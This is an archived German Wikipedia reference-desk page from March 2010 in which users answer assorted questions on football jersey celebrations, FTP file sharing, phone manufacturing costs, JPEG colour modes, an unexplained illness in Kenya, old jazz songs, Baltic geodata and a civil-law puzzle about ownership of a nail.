"Das könne man "mit einer Tasse Tee in der Hand im warmen Presseraum" nicht kapieren, sagt Thomas Doll, Trainer von Borussia Dortmund, und überhaupt, "der Fußball lebt von Emotionen". Im Moment des maximalen Erfolgs schwellen die Muskeln eines Fußballers in der subjektiven Wahrnehmung derart an, dass es im Trikot einfach zu eng wird. Der Nuklearphysiker Dr. Bruce Banner lässt grüßen, der sich aufgrund eines Unfalls mit einer Gamma-Bombe in Extremsituationen in das muskulöse Monster Hulk zu verwandeln pflegte, wobei ihm immer das Hemd aufplatzte." http://www.sueddeutsche.de/sport/557/433306/text/ --Da7id 08:08, 25. Mär. 2010 (CET)

Danke für diesen Link, woraus ich ersehen kann, dass auch andere an dieser Symbolik rätseln. Ich starte mal selber einen Erklärungsversuch: die Symbolik ist entstanden aus dem Zeigen des männlichen nackten Oberkörpers, hat sich dann als Geste des Triumphes so verselbstständigt, dass die Symbolik auch mit untergezogenem Unterhemd als Triumph verstanden wird, und jetzt zeigt der Spieler: ich bin so großartig, dass mir auch eine gelbe Karte nichts ausmachen kann. Wäre das so denkbar ? StephanPsy 08:28, 25. Mär. 2010 (CET)
Also in Wahrheit tun das die männlichen Fussballer in der Hoffnung, dass es sich auch bei den Frauen dauerhaft durchsetzt... --Snevern (Mentorenprogramm) 08:16, 25. Mär. 2010 (CET)
Schon mal ein Frauen-Fußballspiel gesehen? Die machen das längst auch. --DuckobertDag 09:31, 25. Mär. 2010 (CET)
Eben: die Bemühungen zeigen Erfolg. QED. --Snevern (Mentorenprogramm) 09:35, 25. Mär. 2010 (CET)
Nach der neuen Hauptseitenschockfotoorientierung fällt es nicht schwer, zu erraten, was für ein Lichtbild dermaleinst - sowie exzellent - den AdT "Deutsche Fußballnationalfrauschaft" zieren wird. BerlinerSchule 16:19, 25. Mär. 2010 (CET)
Vielleicht sieht er einfach gerne gelb. SCNR. --MrBurns 18:56, 25. Mär. 2010 (CET)
Gab's da nicht mal so Vorfälle, dass die Spieler unter dem Trikot T-Shirts mit aufgedruckter (und vom Auftraggeber reichlich vergüteter) Reklame getragen haben? Und dann Zack! im Moment des größten medialen Impakts, Trikot ausziehen! Wurde dann auch verboten, glaube ich. Vielleicht war das bei Robben nur eine alte Angewohnheit aus jenen Tagen? Ugha-ugha 20:41, 25. Mär. 2010 (CET)
@ BerlinerSchule: Originalton Brandi Chastain: It's Not About the Bra (Es geht nicht um den BH). --Concord 21:34, 25. Mär. 2010 (CET)
Wenn ich mich recht erinnere, wurden damals auch ästhetische Gründe angeführt. Allerdings konnte ich das nie verstehen. Gerade deshalb habe ich überhaupt erst Fußball geguckt ... ;) --92.226.84.186 21:49, 25. Mär. 2010 (CET)
Trkotausziehen ist generell verboten, egal was man darunter anhat. Ebenfalls verboten ist es, sich das Trikot anstatt es auszuziehen nur übder den Kopf zu stülpen (letzteres wurde eine Zeitlang als Methode verwendet, um der gelben Karte zu entgehen, wurde aber mittlerweile ebenfalls vom IFAB verboten). --MrBurns 04:52, 26. Mär. 2010 (CET)

Einfacher Online-FTP-Client gesucht

Hallo!

Wenn Freunde mir größere Dateien schicken wollen, benutze ich dafür gerne meinen FTP-Server. Die weniger technisch versierten unter denen haben allerdings oft noch nie was von FTP gehört, und teilweise möchte ich ihnen auch nicht zumuten, extra wegen mir einen Client zu installieren. Es gibt ja einige Web/Java-basierte Clients wie diesen, doch auch da muß man teilweise noch Servernamen und Benutzerkennungen eintragen, was die DAU-Kompatibilität massiv gefährdet.

Ich suche daher einen FTP-Client, der zum einen leicht zu bedienen ist, und dem man möglichst direkt über die URL den Server- und Benutzernamen mitgeben kann, so dass der Anwender direkt nach klick auf den entsprechenden Link mit dem Server verbunden ist. Das Ganze entweder Online, oder zum Installieren auf einem Webserver (der zwar PHP und Python, aber kein SQL kann). Leider bringt Google zwar viel hervor, aber nicht genau das was ich suche, daher hoffe ich, das einer von euch einen Tipp für mich hat. Schon mal vielen Dank! --85.180.83.76 08:25, 25. Mär. 2010 (CET)

Zum Versenden größerer Dateien empfehle ich anstelle eines DAU-fähigen FTP-Dienstes einen Filesharing-Dienst wie rapidshare. Das kriegen auch DAUs ohne Vorinstallationen hin - danach wird der Link per email weitergegeben, und der Empfänger lädt sich die Datei wieder runter. Bewährtes Verfahren - und genau dafür gibt es eigentlich Filesharing-Seiten (auch wenn sie in der Praxis vielfach zur Umgehung gesetzlicher Verbote genutzt werden und daher einen schlechten Ruf genießen). --Snevern (Mentorenprogramm) 08:49, 25. Mär. 2010 (CET)
Ja aber, diese Filesharing Server begrenzen die Downloadgeschwindigkeit ins unerträgliche, 100 Mb kann da schon mal eine Stunde dauern. Es sei denn man meldet sich an und bezahlt.--91.56.212.217 09:16, 25. Mär. 2010 (CET)
Geht nicht einfach der Windows Explorer als Client? --Mps 09:20, 25. Mär. 2010 (CET)
:D tja, so naheliegend hatte ich garnicht gedacht, vielen Dank! Zumindest unter Windows 7 geht ftp://username:passwort@server.tld hervorragend, auch mit Upload. Kann mir vielleicht noch einer bestätigen, ob das unter XP auch tut? --85.180.83.76 09:36, 25. Mär. 2010 (CET)
Ja, das ging auf jeden Fall auch unter XP. Und sogar schon früher, wenn ich mich recht erinnere. --80.219.84.44 09:59, 25. Mär. 2010 (CET)
Hatte ich auch so in Erinnerung, danke. Irgendwie war ich - da mein Standard-Browser Firefox zumindest von Haus aus kein FTP-Upload beherrscht - so Betriebsblind, dass ich diese einfache Möglichkeit (die ich auch seit vielen Jahren kenne) völlig verdrängt habe. --85.180.83.76 10:05, 25. Mär. 2010 (CET)

Ich benutze die Firefox Erweiterung "FireFTP" und bin damit sehr zufrieden. Ist schnell und einfach konfiguriert und leicht zu bedienen. FreddyE 11:47, 26. Mär. 2010 (CET)

Handys

Was mich mal interessieren würde ist wie hoch eigentlich die reinen Herstellungskosten, also Material und Arbeitskosten, von einem Handy sind. --85.16.175.25 11:44, 25. Mär. 2010 (CET)

Etwa 10%, eher noch weniger. Die ganz billigen mitunter etwas mehr.--91.56.213.32 12:32, 25. Mär. 2010 (CET)
Hier ein Beispiel - es hängt also davon ab, WAS in einem Handy drinsteckt. G! GG nil nisi bene 16:17, 25. Mär. 2010 (CET)
10% von was? Nokia hat mal angegeben, dass der Umsatz im Schnitt ca. 100€/Handy ausmacht. Davon wären 10% also ca. 10€. Allerdings sind diese 100€ der Netto-Herstellerpreis, nicht der Brutto-Endkundenpreis. Zu den Herstelklungskosten beim IPhone: es ist bekannt, dass Endkkunden bei vertragsfreien Handys überterteuerte Preise zahlen. Normalerweise ist diie gesamte Handelsspanne deutlich geringer (z.B. bei CPUs sind nur ca. 20%-30% zwischen dem Herstellerpreis, der bei einer Abnahmen von min. 1000 Stück gilt und dem geizhals-Bestpreis, das weiß ich, wil die Herstelelrpreise für CPUs von Intel und AMD kann jeder nachlesen udn sie werden auch öfters in einschlägigen Medien veröffentlicht, siehe z.B. [19]) und ich bin mir sicher, der Handynetzbetreiber zahlt für die subventionierten Handys deutlich weniger. --MrBurns 18:45, 25. Mär. 2010 (CET)
PS: zu beachten ist auch, dass beim IPhone-Beispiel das nur die Preise für die Teile sind, der Zusammenbau und die Qualitätskontrolle sind da nicht miteingerechnet. --MrBurns 18:50, 25. Mär. 2010 (CET)
Die reinen Materialkosten betragen 172,46 Dollar, hinzu kommen Fertigungskosten in der Höhe von 6,50 Dollar. - Aus dem Link von GG. Sind also eingerechnet --85.180.76.42 20:05, 25. Mär. 2010 (CET)
Ok, ich hätt mir den verlinkten artikel vielleicht genauer durchlesen sollen. --MrBurns 04:33, 26. Mär. 2010 (CET)

Feststellen: RGB oder CMYK?

Wie kann ich auf einem Rechner ohne Adobe Photoshop feststellen, ob ein jpeg in RGB- oder CMYK-Modus abgespeichert ist? Welche Programme vermögen das zu sehen? --KnightMove 16:16, 25. Mär. 2010 (CET)

gibt es überhaupt einen CMYK-Modus beim jpeg? --Heimschützenzentrum (?) 18:20, 25. Mär. 2010 (CET)
Ja, kein Problem. Es kann aber Darstellungsprobleme geben. Macs z. B. können mit beiden Modi umgehen, da merkst du nichts. Wenn ich ein CMYK-JPG aus Versehen in der Wikipedia hochlade, sieht es im Browser aus wie eine Art Negativ, Windows-Nutzer sehen nur eine schwarze Fläche. Rainer Z ... 18:39, 25. Mär. 2010 (CET)
Auf dem Mac per ⌘–i (bzw. „Dateiinformation“) kann man unter „weitere Informationen“ den Farbraum einsehen. Unter Windows XP konnte ich das mit „Eigenschaften“ leider nicht finden, Windows 7 zeigt es. --elya 22:10, 25. Mär. 2010 (CET)

Z.B. mit ExifTool.91.89.100.251 09:06, 26. Mär. 2010 (CET)

KuKluxKlan & US-Präsident - Hilfe zu Internetquelle benötigt

Ich bin bei Recherchen zu Warren G. Harding (29. Präsident der USA) auf eine Seite gestoßen, die behauptet, er sei KKK Mitglied gewesen. Ich weiß nicht, was von der Seite zu halten ist und hätte gerne Eure Meinung dazu gehört. Ich weiß, schon die Adresse klingt übel- aber ich kann die Seite echt nicht einschätzen. Für Hilfe wäre ich also sehr dankbar. Hier mal die Seite http://www.kkklan.com/wall.htm Gruß --79.197.18.68 20:47, 25. Mär. 2010 (CET)

Die engl. WP schreibt was, hier: en:Ku Klux Klan members in United States politics#Warren G. Harding. -- Martin Vogel 20:56, 25. Mär. 2010 (CET)
thx- da ärgere ich mich ja doch ein wenig, das nicht selbst gefunden zu haben.

Kannst Du mir sagen, was Du von dem link hältst? --79.197.18.68 21:19, 25. Mär. 2010 (CET)

Warum bezeichnen sich die KKK-Führer eigentlich als Wizard - Zauberer, obwohl sie doch fundamental-protestantischer Gesinnung sind?--KunzSN 22:30, 25. Mär. 2010 (CET)

Geheimbünde. Man kann beschränkt und phantasievoll sein. Sie haben auch die Titel "grand wizard", "grand dragon", "grand titan" "grand cyclopse"(!), also griechische Mythologie und Märchen wild gemischt. G! GG nil nisi bene 23:36, 25. Mär. 2010 (CET)
Naja, die ganze Verkleidung und das Brimborium war ja angeblich dazu gedacht um die Sklaven zu erschrecken und einzuschüchtern, und die wurden von den Fundametal-Protestanten als kindisch, dumm und abergläubisch betrachtet. Wahrscheinlich liegt hier ein ähnlicher Prozess vor, wie bei Karnevalsprinzen. Da diente Verkleidung zunächst auch dazu, sich über andere lustig zu machen. Mittlerweile nehmen sie ihr "Amt" aber bitterernst... Ugha-ugha 08:17, 26. Mär. 2010 (CET)

Aussprache von Gabourey Sidibe

Wie spricht man Gabourey Sidibe aus? --Schlu32 00:52, 26. Mär. 2010 (CET)

/ˈɡæbʉrˌeɪ ˈsɪdiˌbeɪ/ laut englisch(sprachig)en Kollegen. -- Arcimboldo 05:37, 26. Mär. 2010 (CET)

Frage zum Test für Medizinische Studiengänge und Studienplatztausch

Baden-Württemberg schreibt ja mittlerweile wieder den Test für Medizinische Studiengänge vor. Mal angenommen, man hat einen Medizin-Studienplatz in einem anderen Bundesland zugeteilt bekommen, möchte aber lieber an einer Baden-Württembergischen Uni studieren, und hat auch einen entsprechenden Tauschpartner in einer Studienplatz-Tauschbörse gefunden. Muss man dann noch den Test machen, bevor man das Studium in Baden-Württemberg auch wirklich antreten darf? --78.43.60.58 01:11, 26. Mär. 2010 (CET)

Diese Seite schon studiert: http://www.tms-info.org/index.php?ID=70 ? --тнояsтеn 12:06, 26. Mär. 2010 (CET)

Steuerreform durch Glaubhaftmachung der eigenen Steuerehrlichkeit bei Nutzung öffentlicher Güter

In Deutschland ist das Steuersystem kompliziert, von Ausnahmetatbeständen geprägt, nicht der Regel der gleichmäßigen Besteuerung gehorchend. Könnte man eine gerechte Steuerreform dadurch erreichen, daß man die Nutzung öffentlicher Güter von dem Nachweis des Grades seiner Steuerehrlichkeit und seines echten Betrags zum Gemeinwesen abhängig macht ? Kann mit dieser Politisierung des Alltags eine positive Rückwirkung auf das Ganze erreicht werden ? --84.176.102.2 09:03, 26. Mär. 2010 (CET)

Wenn vollkommene Steuerehrlichkeit jedes Buergers die Grundannahme der Steuergesetzgebung ist, wie willst Du dann ein System von Ehrlichkeitsgraden einfuehren (sprich: definieren), das nicht gerade ein Katalysator fuer eine neue Korruption ist? -- Arcimboldo 09:23, 26. Mär. 2010 (CET)

Holzmenge beim Osterfeuer

Gibt es Daten, wieviel Holz deutschlandweit zu Ostern verbrannt wird? --80.153.163.105 09:47, 26. Mär. 2010 (CET)

Kommt drauf wie groß das Feuer werden soll ?-- PogoEngel 09:50, 26. Mär. 2010 (CET)

Und welche Art von Osterfeuer meinst du es gibt ja "weltliche" und "kirchliche" ? -- PogoEngel 09:52, 26. Mär. 2010 (CET)

Ich glaube, die Frage zielt auf die Gesamtmenge. --Eingangskontrolle 10:51, 26. Mär. 2010 (CET)

Ja stimmt - lesen müßte man können. PogoEngel 10:58, 26. Mär. 2010 (CET)


Da sölltest du auch noch die Hexen- und Walpurgisfeuer mit hinzurechnen. Mengen sind schwer auszumachen, da i.d.R. der Frühjahrs-Verschnitt anfällt, im Grunde nicht viel Derbholz. Früher, kenn ich noch aus DDR-Zeiten, verbrannten wir auch alte Matratzen und Gummireifen. Bald wird wahrscheinlich eine "Klimasteuer" auf dergleichen erhoben werden.--88.72.138.194 12:41, 26. Mär. 2010 (CET)

Seltsame Krankheit

Hallo, ein Bekannter von mir in und aus Kenia (Alter: 22) leidet seit einiger Zeit unter merkwürdigen Symptomen. Es beginnt, wie derzeit gerade wieder, mit einer ständig zunehmenden Schwellung des Gesichts, welche sich nach und nach über den ganzen Körper ausbreitet. Er fühlt sich dabei aber im Großen und Ganzen nicht schlecht, nur ab und zu ein wenig müde, jedoch keine Schmerzen und kein Fieber.

In zwei Krankenhäusern in Kenia konnte keine Ursache ermittelt werden, Blut- und Urinwerte sind (angeblich) normal. (Ich habe allerdings keine Ahnung wie gründlich diese Untersuchungen durchgeführt wurden, da Untersuchungen und Arztebesuche hier selbst bezahlt werden müssen.) Es ist nun das dritte mal dass diese Symptome auftreten. Das erste mal vor etwa 14 Monaten, das zweite mal vor etwa 6 Monaten. Beim ersten mal klangen die Symptome nach etwa 3 Monaten wieder ab, beim zweiten mal nach gut 1 Monat. Da die Ärzte keine Ursache finden konnten, fand auch keinerlei schulmedizinische Behandlung statt.

Folgendes berichte ich ohne jegliche persönliche Wertung: Beide Fälle wurden als Verhexung behandelt. Die Heilung trat nach jeweils mehreren Sizungen mit dem witch-doctor sowie Gesundbeten ein.

Ich hoffe auf diesem Wege einen Hinweis zu erhalten, worauf man die lokalen Ärzte eventuell hinweisen könnte bzw. welche Untersuchungen erforderlich wären. Vielen Dank im voraus! MfG, --R.Schuster 14:31, 22. Mär. 2010 (CET)

Das klingt so, als spielte die Lymphe da eine Rolle. Eine Art Lymphödem. Solltest du aber mit deinem Hausarzt mal besprechen, auch ein Institut für Tropenkrankheiten kontaktieren, möglicherweise liegt ja eine Infektionskrankheit zugrunde, die hier unbekannt ist. Rainer Z ... 14:55, 22. Mär. 2010 (CET)
Danke für den Hinweis auf Lymphe. Da es anscheinend nicht klar rüber kam: Es handelt sich bei dem Patienten nicht um mich selbst, sondern um einen Kenianer der in Kenia lebt. Sowas wie ein Institut für Tropenkrankheiten gibt es dort wahrscheinlich nicht, sonst hätte man ihn, nehme ich zumindest an, dorthin verwiesen. MfG, --R.Schuster 15:18, 22. Mär. 2010 (CET)
Nichtsdestotrotz kannst du mit dem Symptomen (vielleicht etwas mehr) ja mal Hausarzt und Institut kontaktieren. Vielleicht können die dann Hinweise geben. -- Don-kun Diskussion Bewertung 15:29, 22. Mär. 2010 (CET)
War mir schon klar. Ich meinte nur, wo du qualifiziertere Hinweise als hier finden könntest um deinem Bekannten weiterzuhelfen. Rainer Z ... 15:32, 22. Mär. 2010 (CET)
Sorry, ich vergaß zu erwähnen, dass ich ebenfalls in Kenia bin. Deswegen meine Frage hier in der Auskunft, da sonst niemand "in Reichweite" ist. --R.Schuster 15:37, 22. Mär. 2010 (CET)
Ach so. Macht die Sache etwas komplizierter. Wie wäre es noch mit einer Anfrage in der Wikipedia:Redaktion Medizin? Vielleicht haben die eine Idee, wie du von dort aus z. B. in Deutschland fachlichen Rat finden kannst. Bei einer so auffälligen Symptomatik müsste sich ganz gut eingrenzen lassen, worum es gehen könnte. Rainer Z ... 15:56, 22. Mär. 2010 (CET)
Wenn man sowohl eine allergische Reaktion als auch etwas aus der unangenehmen Varicella-Zoster-Ecke ausschließen kann (beides würde dazu passen, dass die Symptome immer wieder auftreten, dann aber auch wieder verschwinden), eventuell an Mycobacterium ulcerans denken. Die Krankheit heißt auch Buruli-Ulkus und wird gerade erst so richtig erforscht; ist in Afrika häufig und wird praktisch nur dort behandelt, wo Hilfsorganisationen die Mittel zur Verfügung stellen.
Jedenfalls ist Deine Beschreibung der Symptome zu ungenau, um sie an einen Experten weiterzuleiten. BerlinerSchule 16:00, 22. Mär. 2010 (CET)
Ich wollte auch gerade was von Mycobacterium und Yersinia fachsimpeln, wir werden es aber wohl erst rausfinden, wenn R.Schuster wieder hier ist und sich selbst hat untersuchen lassen. Schließlich ist sie/er ja gerade "in Reichweite". --Ayacop 16:05, 22. Mär. 2010 (CET)

(Einrückung aufgehoben) Ersteinmal danke für Eure Mühe! @BerlinerSchule: Danke für den Hinweis auf Hilfsorganisationen, ich versuche herauszufinden, ob und welche Organisationen hier in der Gegend tätig sind. Ich kann die Beschreibung gerne noch ergänzen wenn Du mir sagst, was genau ich beschreiben soll bzw. worauf ich achten soll. Würde ein Foto helfen? @Ayacop: Ich bin leider nicht so schnell wieder hier, bzw. dort, also in Europa. Und es würde auch gar nichts bringen, denn ich bin nicht der Betroffene. MfG, --R.Schuster 18:03, 22. Mär. 2010 (CET)

Da du ja zumindest informationstechnologisch mit dem Rest der Welt Eins bist, kannst du's mal hier versuchen: www.medizin.uni-tuebingen.de/tropenmedizin/ -- Grottenolm 21:40, 22. Mär. 2010 (CET)
Oder hier: http://dtg.org/98.html --тнояsтеn 14:33, 23. Mär. 2010 (CET)
Nur ein spontaner Gedanke: Nebst vielen anderen Dingen, könnte es sich auch um ein Hereditäres Angioödem handeln, an das auch nicht immer gleich gedacht wird. Diagnosen am grünen Tisch sind schon schlecht; übers Internet noch viel mehr. Letztlich hilft nur ein Arzt. Und ja: Gerede in der Tropenmedizin hat sich Telemedizin schon eingebürgert. Vielleicht gelingt der Kontakt zu einem der Zentren. --Firefly's luciferase 00:14, 27. Mär. 2010 (CET)

Film gesucht

Hallo, ich suche folgenden Film, aus dem Weltall erscheint ein Mensch, nicht im unserem Sinn sondern in eine art platin farbige erscheinung der als Ziel die Weltvernischtung sieht, weiß jemand welcher film das sein könnte? --85.180.198.137 19:07, 22. Mär. 2010 (CET)

Der Tag, an dem die Erde stillstand (1951)?--83.135.88.31 19:30, 22. Mär. 2010 (CET)
Der Tag, an dem die Erde stillstand (2008)? --darkking3 Թ 19:47, 22. Mär. 2010 (CET)
Der ist gut. --WissensDürster 20:00, 22. Mär. 2010 (CET)
Der Silver Surfer geistert momentan doch auch durch irgendwelche TV-Spots. --Rudolph H 20:14, 22. Mär. 2010 (CET)
Und der Silver Surfer ist auch die Hauptlektüre von Richard Gere als Jesse Lujack (der aber an den jungen Jean-Paul Belmondo nicht heranreicht) in dem auch ansonsten eher mißlungenen Remake Breathless (Atemlos) von 1983. :) --84.191.52.68 20:52, 22. Mär. 2010 (CET)
Der ist auch gut, aber ich meine so ein anderen, es erscheint aus dem welltall eine Figur die aussieht wie ein Mensch und wie eine art eisen_Legierung hat. Und der sieht seine Aufgabe die wellt zu vernichten, einige Abschnitte kann kommen auch bei dieser Prosieben jetzt in HD Werbung. --85.180.197.118 09:40, 25. Mär. 2010 (CET)

weiß keiner was ich meine? --85.180.201.54 11:47, 26. Mär. 2010 (CET)

Hallo ??? --85.180.203.157 18:18, 26. Mär. 2010 (CET)
Könnte Fantastic Four: Rise of the Silver Surfer sein…-- Spuki Séance 18:22, 26. Mär. 2010 (CET)

Alte Jazz-Lieder gesucht

Hallo,

Ich suche ein paar alte Jazz-Lieder, die sich einmal auf den Platten meiner Großmutter befanden. Ich hoffe da kann mir jemand weiterhelfen :-)

Der Text des Ersten geht ungefähr so:

Irgendwo in der Welt
Liegt ein kleines weinumranntes Haus
Und als Kind ging ich dort ein und aus
Dort ist meine Heimat

Das zweite:

Oh Marie, oh oh Marie:
Immer wenn ich an dich denke,
Zittern mir die Handgelenke
Und die Knie!

Und dann noch dieses hier:

[xxx] *-ingt,
Sing, Baby, sing!
Was auch der Morgen bringt,
Sing, Baby, sing!
Liederfrohe Jugend gilt stets als modern,
Drum sing, Baby, sing, Baby, sing!

Ich weiß, das ist alles relativ kitschig, aber ich finde es ungewöhnlich dass man jeden abhorrenten Mist im Internet findet (sogar noch ältere deutsche Jazz-Lieder wie "Spiel mir eine alte Melodie"), nur nicht diese paar alten Lieder. Ich fände das wirklich sehr schade wenn die nicht mehr aufzufinden wären. Vor allem weil sich über die Produktionsfirma "Düsseldorf Records" rein gar nichts im Internet herausfinden lässt...

Danke im Voraus,

--213.168.117.74 05:25, 25. Mär. 2010 (CET)

Google findet zumindest das erste Lied: den Foxtrot Irgendwo in der Welt steht ein kleines weinumranktes Haus von Evelyn Rehs, hier bei Youtube mit einer Aufnahme für Telefunken des Orchesters Adalbert Lutter und (gemäss Kommentar) Paul Dorn. --80.219.84.44 09:55, 25. Mär. 2010 (CET)
Das dritte ist "Sing Baby Sing" von Erhard Bauschke. --77.176.206.204 13:45, 25. Mär. 2010 (CET)

Zum zweiten: hier in der Google-Buchsuche findet sich z.B. der folgende Reim, der wahrscheinlich zur Originalmelodie von „O Marie, o marie“ gesungen wurde:

Onanie Onanie
Immer wenn ich an dich denke
Zittern mir die Handgelenke
Und die Knie
Denn als Handarbeiter bin ich ein Genie

Naja. Den Rest kriegt man leider mangels Vorschau nicht zu lesen. Ein anderer schreibt von einem Schlagertext:

Immer wenn ich an dich denke,
schlackern mir die Kniegelenke.
Oh, Marie, oh, Gerda, Ursula, Marie.

... was aber auch nicht der echte Text zu sein scheint. --80.219.84.44 23:47, 26. Mär. 2010 (CET)

AJOL

Hallo! Hat irgendjemand von Euch Zugriff auf AJOL, African Journals OnLine? Doc Taxon @ Discussion 06:02, 25. Mär. 2010 (CET)

Nein, aber zu einigen der Journals müsste ich Zugang haben. Was suchst du? --El Grafo 11:50, 25. Mär. 2010 (CET)
Es geht um einen Artikel, gesucht für die Wikipedia:BIBR: http://ajol.info/index.php/jassa/article/view/16877 --тнояsтеn 15:11, 25. Mär. 2010 (CET)
Ja hab ich. PM bitte an mich, dann schick ich es. Gruss --MKPortal:W  12:40, 26. Mär. 2010 (CET)
Super, danke! Habe dir gerade geschrieben und leite es dann direkt an Benutzer:Toffel weiter, für den der Artikel bestimmt ist. --тнояsтеn 12:55, 26. Mär. 2010 (CET)

GEO-Daten Baltikum

Moin zusammen,

ich bin auf der Suche nach GEO-Daten der Staaten Estland, Lettland und Litauen. Also Orte, Postleitzahlen, GPS-Angaben – wie es auch bei Navis Verwendung findet.

Kostenpflichtige Dienste wie geopostcodes.com habe ich wohl gefunden, aber natürlich wäre mir die „freie“ Version lieber.
Gibt es sowas wie OpenGeoDB fürs Baltikum? Oder hat jemand einfach so diese Daten in Tabellenform vorliegen? Gerne auch nur teilweise (also nur PLZ oder nur GPS oder nur einer der drei Staaten)!

Vielen Dank für jedwede Hilfe! —[ˈjøːˌmaˑ] 17:14, 25. Mär. 2010 (CET)

Mit Postleitzahlen kann ich aushelfen: [20] --Snevern (Mentorenprogramm) 17:23, 25. Mär. 2010 (CET)
Snevern, das ist die kostenpflichtige Seite, von der ich oben schrieb! ;-) Ich will nicht einzelne Orte nachschlagen sondern alle Orte mit den genannten Daten als Liste haben. Das würde bei geopostcodes.com um die 30 Euro pro Land kosten. Winkewinke —[ˈjøːˌmaˑ] 17:28, 25. Mär. 2010 (CET)
Sorry, habe die Identität der Links übersehen. Beim Ausprobieren kam ich nämlich nicht auf eine Kostenpflicht - stattdessen erhielt ich zusätzlich zu den PLZ auch die Koordinaten. Aber du hast recht, wohl immer nur als kleine Liste (Kreis/Region) und nicht als Gesamtliste für den ganzen Staat. --Snevern (Mentorenprogramm) 17:40, 25. Mär. 2010 (CET)
Treffer! gefunden unter http://download.geonames.org/export/dump für GPS. Nun fehlen nur noch die PLZ! —[ˈjøːˌmaˑ] 21:06, 25. Mär. 2010 (CET) (Editiert —[ˈjøːˌmaˑ] 21:47, 25. Mär. 2010 (CET))
PLZ von Lettland gibts auf http://www2.pasts.lv/en/uzzinas/nodalas/index-old.html . Allerdings keine Liste, sondern verteilt auf Unterseiten (ich schätze mal so 200 vielleicht?) --тнояsтеn 11:21, 26. Mär. 2010 (CET)
Just die lettischen hab ich inzwischen als Tabelle (xls) gefunden; fehlen noch Estland und Litauen. Jemand 'n Tip? —[ˈjøːˌmaˑ] 14:25, 26. Mär. 2010 (CET)

A haut B einen Nagel in den Kopf. Wem gehört der Nagel?

Hallo,
die Frage ist aus Sterben verboten von Spiegel Online. Dort ist man aber die Antwort schuldig geblieben. Wie lautet denn die Antwort?
Viele Grüße --Marsupilami (Disk|Beiträge) 19:02, 25. Mär. 2010 (CET)

Er wird als Tatwaffe beschlagnahmt? --Eike 19:04, 25. Mär. 2010 (CET)
A muss an B so viel Schmerzensgeld zahlen, dass er den Nagel in Zahlung geben muss. --Sr. F 19:05, 25. Mär. 2010 (CET)
Er ist Eigentum von A und befindet sich aber im Besitz von B. Dieser wird klugerweise ein Brett mit dem Nagel schmücken, womit er A öfters und schmerzvoller treffen kann.--93.202.176.162 19:07, 25. Mär. 2010 (CET)
"Gehört" fragt nach dem Eigentum und nicht nach dem Besitz. Der Nagel gehört also dem Täter. Obwohl das Opfer die unmittelbare Verfügungsgewalt, also die Innehabung reklamieren kann, hat der Täter durch seine Tat diesen Teil der Tatwaffe dem Opfer nicht übereignet und schon garnicht diesbezüglich einen Vertrag geschlossen. --84.191.60.120 19:09, 25. Mär. 2010 (CET) Ergänzung --84.191.60.120 19:14, 25. Mär. 2010 (CET)
Kann aber auch sein, dass der Täter den Nagel nur ausgeliehen und er dem Schwiegeropa gehörte und dieser den im Baumarkt noch nicht bezahlt hatte.--91.56.213.32 19:20, 25. Mär. 2010 (CET)
Eigentumsübergang kann auch anders als durch Vertrag geschehen (man denke an Verbindung/Vermischung). Die Frage ist daher, ob der Nagel zum Bestandteil des Körpers wird wie ein Implantat - und ob das Opfer überlebt, denn künstliche Bestandteile des menschlichen Körpers können nach dem Tod wieder ihre Sach-Eigenschaft zurückgewinnen (und damit wieder eigentumsfähig werden: der menschliche Körper und seine Bestandteile, auch künstliche, sind nach überwiegender Meinung nicht eigentumsfähig).
Wenn der Nagel einfach nur die Tatwaffe ist, gehört er auch nach der Tat dem, dem er vorher gehört hat (Baumarkt, Schwiegeropa, Täter, ja sogar Opfer: alles denkbar). --Snevern (Mentorenprogramm) 19:29, 25. Mär. 2010 (CET)
Ja, die Fragestellung ist da nicht präzise. Sollte es aber als Scherzfrage gemeint sein, wäre es hier allerdings Extremzeitraubing, oder? --84.191.60.120 19:32, 25. Mär. 2010 (CET)
In der Zeitung stand mal eine fast identische Frage welche Jurastudenten im Rahmen ihres Studiums gestellt wurde: "Eine Frau erschießt mit ihrer Waffe, die sie rechtmäßig und mit Waffenschein besitzt, ihren Ehemann. Frage: Wem gehört die Kugel?" Die Antwort war: Dem Ehemann, denn durch das Abfeuern des Schusses ist ein Eigentümerwechsel eingetreten. Daraus folgt: Der Nagel gehört B, denn mit dem in den Kopf "haun" ist ebenso eine Eigentumsübertragung vonstatten gegangen. -- Wiprecht 21:02, 25. Mär. 2010 (CET)
Eigentum geht nur durch Vertrag oder Gesetz über. Vertrag kann ausgeschlossen werden. Durch Gesetz bedeutet §§ 946 ff. BGB (Verbindung, Vermischung etc.) oder Ersitzung (abgesehen von bestimmten Erwerbsvorschriften zB. bei den Bienen, die aber im Grunde mit §§ 946 ff. übereinstimmen). Die sind auch auszuschließen, denn ein Nagel wird nicht Teil des Körpers. Implantate sind es auch, solange sie im Körper sind. Deshalb bleibt praktisch nur noch der originäre Erwerb von Eigentum. Durch das Einrammen des Nagels bzw. durch den Abschuss der Kugel derelinquiert der Eigentümer die Sache, womit sie herrenlos wird. Das Opfer erwirbt dann Eigentum nach § 958 I BGB, indem es die Sache in Eigenbesitz nimmt, also selbst die tatsächliche Gewalt über die Sache ausübt (vgl. § 854 I BGB). --92.226.84.186 21:37, 25. Mär. 2010 (CET)
Evtl. hat der Täter dem Opfer bei der Tat den Nagel geschenkt? Konkludentes Handeln und man kann auf einen Vertrag verzichten? --91.64.64.166 23:43, 25. Mär. 2010 (CET)
abw. wie abwegig... Wer einem anderen einen Nagel in den Kopp haut, hat Körperverletzungs- und evtl. Tötungsvorsatz, aber keine Schenkungsabsicht. Weil er sich nämlich über die Eigentumsverhältnisse nach lebensnaher Auslegung gar keine Gedanken macht. So. Und wenn der Nagel dauerhaft im Kopf stecken bleibt, verliert er seine Sacheigenschaft und damit seine Eigenschaft als Rechtsobjekt und wird Körperbestandteil des Opfers. Wenn er nur vorübergehend im Koppe steckt, bleibt er Sache und im Eigentum dessen, dem er auch vorher gehört hat. --Björn 23:50, 25. Mär. 2010 (CET)
Als Service den § 958 BGB und seinen Kontext. Mir ist nicht ersichtlich, warum der Nagel durch das Einschlagen zwingend „eine herrenlose bewegliche Sache“ wird. Das Einschlagen des Nagels in den Kopf eines anderen muß nicht als diesbezügliche Willensbekundung des Eigentümers gelten, damit sein Eigentum an dem Nagel aufzugeben. Und wenn doch, auf welcher rechtlichen Grundlage sollte dies so zu interpretieren sein? --84.191.60.120 00:11, 26. Mär. 2010 (CET)
